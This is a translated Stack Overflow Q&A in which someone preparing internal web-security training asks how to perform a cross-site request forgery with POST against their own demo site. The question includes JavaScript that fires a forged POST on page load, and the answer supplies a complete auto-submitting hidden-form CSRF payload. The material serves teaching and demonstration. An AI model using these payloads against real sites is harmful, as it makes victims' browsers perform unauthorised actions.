我正在向我们企业中的其他一些人介绍web安全,我想展示一些例子,以产生更大的影响。
为此,我创建了一个小网站,它容易受到这种攻击,这个网站将只能在我们的网络上访问。
我现在正在尝试利用这个攻击,但我有一个问题:
如何在POST表单中做到这一点?
我可以使用GET查询来做这件事,但是对于POST,我会尝试用javascript来做这件事,如果我把我的代码放在同一台主机上也没问题,但是如果我想把我的代码放在另一台主机上更切合实际,我会被阻塞,因为这是一个跨域的请求。
那么我应该如何发送这些POST var呢?
谢谢!
下面是我当前的代码:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
var http = false;
//Use IE's ActiveX items to load the file.
if(typeof ActiveXObject != 'undefined') {
try {http = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {http = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {http = false;}
}
//If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
} else if (window.XMLHttpRequest) {
try {http = new XMLHttpRequest();}
catch (e) {http = false;}
}
return http;
}
function post_to_url(path, params, method) {
method = method || "post"; // Set method to post by default, if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function postToUrlBackground(path, params){
var http = getHTTPObject();
http.open("POST", path, true);
//Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
//alert("Response received");
}
}
http.send(params);
}
function TryAttack(){
//alert("Sending");
postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
//postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" );
//alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>发布于 2011-07-25 15:31:49
在“其他主机”(攻击者)上,您只需使用POST方法创建一个FORM,其action (即表单提交的位置)就是您易受攻击的应用程序。然后在该页面上使用javascript提交。
如下所示:
<html><body>
<form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST">
<input type="hidden" name="csrf_param" value="POST_ATTACK">
</form>
<script type="text/javascript">document.csrf_form.submit();</script>
</body></html>当您打开该页面时,这将从攻击者的主机向您的易受攻击的应用程序提交POST。
https://stackoverflow.com/questions/6812765
复制相似问题